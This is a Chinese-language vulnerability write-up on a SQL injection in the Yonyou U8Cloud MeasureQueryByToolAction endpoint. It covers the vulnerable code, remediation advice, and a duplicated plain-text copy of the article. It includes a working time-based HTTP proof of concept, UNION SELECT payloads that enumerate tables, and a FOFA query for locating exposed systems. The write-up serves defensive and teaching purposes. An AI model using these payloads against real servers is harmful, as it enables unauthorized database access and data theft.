用友 U8Cloud MeasureQueryByToolAction SQL注入漏洞分析
字数 1716 2025-08-29 22:41:39

用友U8Cloud MeasureQueryByToolAction SQL注入漏洞分析教学文档

一、漏洞概述

用友U8Cloud系统的MeasureQueryByToolAction接口存在SQL注入漏洞,攻击者可通过构造恶意请求未经授权访问数据库,导致用户数据泄露。

二、影响版本

受影响版本包括:

  • 1.0
  • 2.0
  • 2.1
  • 2.3
  • 2.5
  • 2.6
  • 2.65
  • 2.7
  • 3.0
  • 3.1
  • 3.2
  • 3.5
  • 3.6
  • 3.6sp
  • 5.0
  • 5.0sp

三、漏洞原理深度分析

1. 请求处理流程

  1. 请求分发机制

    • Web.xml配置中,/service/servlet前缀的请求都由NCInvokerServlet处理
    • URL格式:/service/~模块名/服务名
    • 示例:/service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction
  2. ActionServlet处理

    • 关键方法:RequestProcessor.getInstance().process(request, response, this)
    • 通过action参数指定类名,method参数指定方法名
    • 本例中调用nc.ui.iufo.query.measurequery.MeasureQueryByToolActionexecute方法

2. 漏洞代码分析

漏洞位于nc.ui.iufo.query.measurequery.MeasureQueryByToolAction类的execute方法:

public ActionForward execute(ActionForm actionForm) throws WebException {
    ActionForward actionForward = null;
    try {
        String[] cks = getRequestParameterValues("query_id");
        if (cks == null || cks.length == 0)
            return (ActionForward)new CloseForward("close_refresh_main();");
        
        String strMq = cks[0];
        String strRepId = "";
        
        // 漏洞触发点:将用户输入的query_id直接传入SQL查询
        MeasureQueryConVO[] mqCondVOs = MeasureQueryConBO_Client.loadQueryConVOs(new String[] { strMq });
        
        if (mqCondVOs == null || mqCondVOs.length == 0)
            throw new CommonException("miufo1003095");
        
        MeasureQueryConVO mqCondVO = mqCondVOs[0];
        strRepId = mqCondVO.getM_strRepId();
        if (strRepId == null)
            strRepId = "";
        
        addRequestObject("report_id", strRepId);
        addRequestObject("measureQueryId", strMq);
        actionForward = new ActionForward(RepToolAction.class.getName(), "execute");
    } catch (CommonException e) {
        throw e;
    } catch (Exception e) {
        AppDebug.debug(e);
    }
    return actionForward;
}

3. SQL注入点分析

关键漏洞位于MeasureQueryConBO_Client.loadQueryConVOs方法中:

public MeasureQueryConVO[] loadQueryConVOs(String[] strQueryConIds) throws SQLException {
    if (strQueryConIds == null || strQueryConIds.length <= 0)
        return null;
    
    Connection con = getConnection();
    StringBuffer str = new StringBuffer("query_con_id in( ");
    
    for (int i = 0; i < strQueryConIds.length; i++) {
        str = str.append("'");
        str = str.append(strQueryConIds[i]);
        str = str.append("',");
    }
    
    String strWhere = str.toString();
    strWhere = strWhere.substring(0, str.length() - 1) + ")";
    
    // 直接拼接用户输入构造SQL语句
    String sql = "select query_con_id, con_name, con_note, repid, area, content,query_id from iufo_measure_query_con where " + strWhere;
    
    // 执行SQL查询...
}

漏洞成因:

  • 直接拼接用户输入的query_id参数到SQL语句中
  • 未进行任何参数过滤或预编译处理
  • 攻击者可通过构造特殊字符闭合SQL语句,注入恶意代码

四、漏洞复现

POC示例

GET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27-- HTTP/1.1
Host: <target>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

复现说明

  1. 这是一个基于时间延迟的SQL注入POC

  2. 注入点:query_id参数

  3. 注入payload:1');WAITFOR DELAY '0:0:5'--

    • 闭合原有SQL语句
    • 添加WAITFOR DELAY命令使数据库延迟5秒响应
    • 使用--注释掉后续语句
  4. 判断依据:如果服务器响应时间明显延迟5秒,则证明存在SQL注入漏洞

五、漏洞利用

1. 信息泄露

通过构造UNION SELECT语句,可以查询数据库中的敏感信息:

query_id=1') UNION SELECT 1,2,3,4,5,6,7 FROM sysobjects--

2. 数据库类型识别

根据响应特征可判断为SQL Server数据库:

  • 使用WAITFOR DELAY语法
  • 注释符为--

3. 数据表枚举

示例payload:

query_id=1') UNION SELECT 1,name,3,4,5,6,7 FROM sysobjects WHERE xtype='U'--

六、修复建议

1. 临时缓解措施

  • 在Web应用防火墙(WAF)中添加规则,拦截包含SQL关键词的请求
  • 禁用或限制对/service/~iufo/com.ufida.web.action.ActionServlet的访问

2. 根本解决方案

  1. 参数化查询
    修改loadQueryConVOs方法,使用预编译语句:
String sql = "select query_con_id, con_name, con_note, repid, area, content,query_id from iufo_measure_query_con where query_con_id = ?";
PreparedStatement pstmt = con.prepareStatement(sql);
pstmt.setString(1, strQueryConIds[0]);
ResultSet rs = pstmt.executeQuery();
  1. 输入验证

    • query_id参数进行严格校验,只允许数字等预期字符
    • 使用正则表达式过滤特殊字符
  2. 最小权限原则

    • 数据库连接使用最小必要权限账户
    • 限制应用账户对敏感表的访问权限
  3. 错误处理

    • 避免将数据库错误信息直接返回给客户端
    • 使用统一的错误处理机制

3. 官方补丁

  • 安装用友U8Cloud最新安全补丁
  • 关注用友官方安全公告获取修复版本

七、资产识别

使用FOFA语法搜索受影响系统:

app="用友-U8-Cloud"

八、总结

该漏洞是由于用友U8Cloud系统中MeasureQueryByToolAction接口对用户输入的query_id参数未做充分过滤,直接拼接到SQL语句中导致的SQL注入漏洞。攻击者可利用此漏洞获取数据库中的敏感信息,危害严重。建议用户及时采取修复措施,特别是使用参数化查询等安全编码实践来从根本上解决此类问题。

用友U8Cloud MeasureQueryByToolAction SQL注入漏洞分析教学文档 一、漏洞概述 用友U8Cloud系统的 MeasureQueryByToolAction 接口存在SQL注入漏洞,攻击者可通过构造恶意请求未经授权访问数据库,导致用户数据泄露。 二、影响版本 受影响版本包括: 1.0 2.0 2.1 2.3 2.5 2.6 2.65 2.7 3.0 3.1 3.2 3.5 3.6 3.6sp 5.0 5.0sp 三、漏洞原理深度分析 1. 请求处理流程 请求分发机制 : Web.xml配置中, /service 和 /servlet 前缀的请求都由 NCInvokerServlet 处理 URL格式: /service/~模块名/服务名 示例: /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction ActionServlet处理 : 关键方法: RequestProcessor.getInstance().process(request, response, this) 通过 action 参数指定类名, method 参数指定方法名 本例中调用 nc.ui.iufo.query.measurequery.MeasureQueryByToolAction 的 execute 方法 2. 漏洞代码分析 漏洞位于 nc.ui.iufo.query.measurequery.MeasureQueryByToolAction 类的 execute 方法: 3. SQL注入点分析 关键漏洞位于 MeasureQueryConBO_Client.loadQueryConVOs 方法中: 漏洞成因: 直接拼接用户输入的 query_id 参数到SQL语句中 未进行任何参数过滤或预编译处理 攻击者可通过构造特殊字符闭合SQL语句,注入恶意代码 四、漏洞复现 POC示例 复现说明 这是一个基于时间延迟的SQL注入POC 注入点: query_id 参数 注入payload: 1');WAITFOR DELAY '0:0:5'-- 闭合原有SQL语句 添加WAITFOR DELAY命令使数据库延迟5秒响应 使用 -- 注释掉后续语句 判断依据:如果服务器响应时间明显延迟5秒,则证明存在SQL注入漏洞 五、漏洞利用 1. 信息泄露 通过构造UNION SELECT语句,可以查询数据库中的敏感信息: 2. 数据库类型识别 根据响应特征可判断为SQL Server数据库: 使用 WAITFOR DELAY 语法 注释符为 -- 3. 数据表枚举 示例payload: 六、修复建议 1. 临时缓解措施 在Web应用防火墙(WAF)中添加规则,拦截包含SQL关键词的请求 禁用或限制对 /service/~iufo/com.ufida.web.action.ActionServlet 的访问 2. 根本解决方案 参数化查询 : 修改 loadQueryConVOs 方法,使用预编译语句: 输入验证 : 对 query_id 参数进行严格校验,只允许数字等预期字符 使用正则表达式过滤特殊字符 最小权限原则 : 数据库连接使用最小必要权限账户 限制应用账户对敏感表的访问权限 错误处理 : 避免将数据库错误信息直接返回给客户端 使用统一的错误处理机制 3. 官方补丁 安装用友U8Cloud最新安全补丁 关注用友官方安全公告获取修复版本 七、资产识别 使用FOFA语法搜索受影响系统: 八、总结 该漏洞是由于用友U8Cloud系统中 MeasureQueryByToolAction 接口对用户输入的 query_id 参数未做充分过滤,直接拼接到SQL语句中导致的SQL注入漏洞。攻击者可利用此漏洞获取数据库中的敏感信息,危害严重。建议用户及时采取修复措施,特别是使用参数化查询等安全编码实践来从根本上解决此类问题。